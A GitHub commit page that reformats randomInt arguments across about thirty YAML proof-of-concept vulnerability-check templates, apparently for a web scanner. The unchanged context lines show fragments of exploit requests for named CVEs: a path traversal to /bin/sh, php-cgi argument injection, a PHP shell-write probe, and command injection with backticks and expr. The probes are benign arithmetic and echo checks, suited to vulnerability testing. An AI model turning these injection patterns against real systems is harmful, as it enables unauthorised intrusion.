Skip to content

Commit

Permalink
修复 Unparse 中的部分问题
Browse files Browse the repository at this point in the history
  • Loading branch information
virusdefender committed Nov 25, 2019
1 parent 1f55937 commit 853cd96
Show file tree
Hide file tree
Showing 31 changed files with 496 additions and 46 deletions.
4 changes: 2 additions & 2 deletions pocs/bash-cve-2014-6271.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-bash-cve-2014-6271
set:
r1: randomInt(800000000,1000000000)
r2: randomInt(800000000,1000000000)
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: GET
headers:
Expand Down
2 changes: 1 addition & 1 deletion pocs/discuz-ml3x-cnvd-2019-22239.yml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
name: poc-yaml-discuz-ml3x-cnvd-2019-22239
set:
r1: randomInt(800000000,1000000000)
r1: randomInt(800000000, 1000000000)
rules:
- method: GET
path: /forum.php
Expand Down
2 changes: 1 addition & 1 deletion pocs/discuz-v7-rce.yml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
name: poc-yaml-discuz-wooyun-2010-080723
set:
rand: randomInt(200000000,210000000)
rand: randomInt(200000000, 210000000)
rules:
- method: GET
path: >-
Expand Down
4 changes: 2 additions & 2 deletions pocs/ecology-javabeanshell-rce.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-ecology-javabeanshell-rce
set:
r1: randomInt(40000,44800)
r2: randomInt(40000,44800)
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
- method: POST
path: /weaver/bsh.servlet.BshServlet
Expand Down
4 changes: 2 additions & 2 deletions pocs/ecshop-360-rce.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-ecshop-360-rce
set:
r1: randomInt(40000,44800)
r2: randomInt(40000,44800)
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
- method: POST
path: /user.php
Expand Down
4 changes: 2 additions & 2 deletions pocs/elasticsearch-cve-2014-3120.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-elasticsearch-cve-2014-3120
set:
r: randomInt(800000000,1000000000)
r1: randomInt(800000000,1000000000)
r: randomInt(800000000, 1000000000)
r1: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /test/test1/
Expand Down
4 changes: 2 additions & 2 deletions pocs/elasticsearch-cve-2015-1427.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-elasticsearch-cve-2015-1427
set:
r1: randomInt(40000,44800)
r2: randomInt(40000,44800)
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
- method: POST
path: /test/test
Expand Down
2 changes: 1 addition & 1 deletion pocs/joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
name: poc-yaml-joomla-ext-zhbaidumap-cve-2018-6605-sqli
set:
rand: randomInt(2000000000,2100000000)
rand: randomInt(2000000000, 2100000000)
rules:
- method: POST
path: >-
Expand Down
4 changes: 2 additions & 2 deletions pocs/metinfo-cve-2019-16996-sqli.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-metinfo-cve-2019-16996-sqli
set:
r1: randomInt(40000,44800)
r2: randomInt(40000,44800)
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
- method: GET
path: >-
Expand Down
4 changes: 2 additions & 2 deletions pocs/metinfo-cve-2019-16997-sqli.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-metinfo-cve-2019-16997-sqli
set:
r1: randomInt(40000,44800)
r2: randomInt(40000,44800)
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
- method: POST
path: /admin/?n=language&c=language_general&a=doExportPack
Expand Down
4 changes: 2 additions & 2 deletions pocs/metinfo-cve-2019-17418-sqli.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-metinfo-cve-2019-17418-sqli
set:
r1: randomInt(40000,44800)
r2: randomInt(40000,44800)
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
- method: GET
path: >-
Expand Down
4 changes: 2 additions & 2 deletions pocs/nhttpd-cve-2019-16278.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-nhttpd-cve-2019-16278
set:
r1: randomInt(800000000,1000000000)
r2: randomInt(800000000,1000000000)
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"
Expand Down
2 changes: 1 addition & 1 deletion pocs/php-cgi-cve-2012-1823.yml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
name: poc-yaml-php-cgi-cve-2012-1823
set:
rand: randomInt(200000000,210000000)
rand: randomInt(200000000, 210000000)
rules:
- method: POST
path: /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
Expand Down
2 changes: 1 addition & 1 deletion pocs/phpunit-cve-2017-9841-rce.yml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
name: poc-yaml-phpunit-cve-2017-9841-rce
set:
rand: randomInt(2000000000,2100000000)
rand: randomInt(2000000000, 2100000000)
rules:
- method: POST
path: /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Expand Down
4 changes: 2 additions & 2 deletions pocs/rconfig-cve-2019-16663.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-rconfig-cve-2019-16663
set:
r: randomInt(800000000,1000000000)
r1: randomInt(800000000,1000000000)
r: randomInt(800000000, 1000000000)
r1: randomInt(800000000, 1000000000)
rules:
- method: GET
path: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bexpr%20{{r}}%20%2B%20{{r1}}%20%20%23
Expand Down
4 changes: 2 additions & 2 deletions pocs/seacms-rce.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-seacms-rce
set:
r: randomInt(800000000,1000000000)
r1: randomInt(800000000,1000000000)
r: randomInt(800000000, 1000000000)
r1: randomInt(800000000, 1000000000)
rules:
- method: POST
path: "/search.php?print({{r}}%2b{{r1}})"
Expand Down
2 changes: 1 addition & 1 deletion pocs/seacms-v654-rce.yml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
name: poc-yaml-seacms-v654-rce
set:
rand: randomInt(2000000000,2100000000)
rand: randomInt(2000000000, 2100000000)
rules:
- method: POST
path: /search.php
Expand Down
4 changes: 2 additions & 2 deletions pocs/solr-cve-2019-0193.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-solr-cve-2019-0193
set:
r1: randomInt(40000,44800)
r2: randomInt(40000,44800)
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
- method: GET
path: /solr/admin/cores?wt=json
Expand Down
4 changes: 2 additions & 2 deletions pocs/solr-velocity-template-rce.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-solr-cve-2019-0193
set:
r1: randomInt(20000,40000)
r2: randomInt(20000,40000)
r1: randomInt(20000, 40000)
r2: randomInt(20000, 40000)
rules:
- method: GET
path: "/solr/admin/cores?wt=json"
Expand Down
4 changes: 2 additions & 2 deletions pocs/thinkcmf-write-shell.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-thinkcmf-write-shell
set:
r: randomInt(10000,20000)
r1: randomInt(1000000000,2000000000)
r: randomInt(10000, 20000)
r1: randomInt(1000000000, 2000000000)
rules:
- method: GET
path: "/index.php?a=fetch&content=%3C?php+file_put_contents(%22{{r}}.php%22,%22%3C?php+echo+{{r1}};%22);"
Expand Down
2 changes: 1 addition & 1 deletion pocs/vbulletin-cve-2019-16759.yml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
name: poc-yaml-vbulletin-cve-2019-16759
set:
rand: randomInt(2000000000,2100000000)
rand: randomInt(2000000000, 2100000000)
rules:
- method: POST
path: /
Expand Down
4 changes: 2 additions & 2 deletions pocs/webmin-cve-2019-15107.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-webmin-cve-2019-15107-rce
set:
r1: randomInt(800000000,1000000000)
r2: randomInt(800000000,1000000000)
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /password_change.cgi
Expand Down
4 changes: 2 additions & 2 deletions pocs/wordpress-ext-mailpress-rce.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-wordpress-ext-mailpress-rce
set:
r: randomInt(800000000,1000000000)
r1: randomInt(800000000,1000000000)
r: randomInt(800000000, 1000000000)
r1: randomInt(800000000, 1000000000)
rules:
- method: POST
path: "/wp-content/plugins/mailpress/mp-includes/action.php"
Expand Down
4 changes: 2 additions & 2 deletions pocs/yccms-rce.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: poc-yaml-yccms-rce
set:
r: randomInt(800000000,1000000000)
r1: randomInt(800000000,1000000000)
r: randomInt(800000000, 1000000000)
r1: randomInt(800000000, 1000000000)
rules:
- method: GET
path: "/admin/?a=Factory();print({{r}}%2b{{r1}});//../"
Expand Down
2 changes: 1 addition & 1 deletion pocs/youphptube-encoder-cve-2019-5127.yml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
name: poc-yaml-youphptube-encoder-cve-2019-5127
set:
r1: randomInt(800000000,1000000000)
r1: randomInt(800000000, 1000000000)
r2: base64("`echo " + string(r1) + " > " + string(r1) + ".txt`")
rules:
- method: GET
Expand Down
2 changes: 1 addition & 1 deletion pocs/youphptube-encoder-cve-2019-5128.yml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
name: poc-yaml-youphptube-encoder-cve-2019-5128
set:
r1: randomInt(800000000,1000000000)
r1: randomInt(800000000, 1000000000)
r2: base64("`echo " + string(r1) + " > " + string(r1) + ".txt`")
rules:
- method: GET
Expand Down
2 changes: 1 addition & 1 deletion pocs/youphptube-encoder-cve-2019-5129.yml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
name: poc-yaml-youphptube-encoder-cve-2019-5129
set:
r1: randomInt(800000000,1000000000)
r1: randomInt(800000000, 1000000000)
r2: base64("`echo " + string(r1) + " > " + string(r1) + ".txt`")
rules:
- method: GET
Expand Down
2 changes: 1 addition & 1 deletion pocs/yungoucms-sqli.yml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
name: poc-yaml-yungoucms-sqli
set:
rand: randomInt(2000000000,2100000000)
rand: randomInt(2000000000, 2100000000)
rules:
- method: GET
path: >-
Expand Down
Loading

0 comments on commit 853cd96

Please sign in to comment.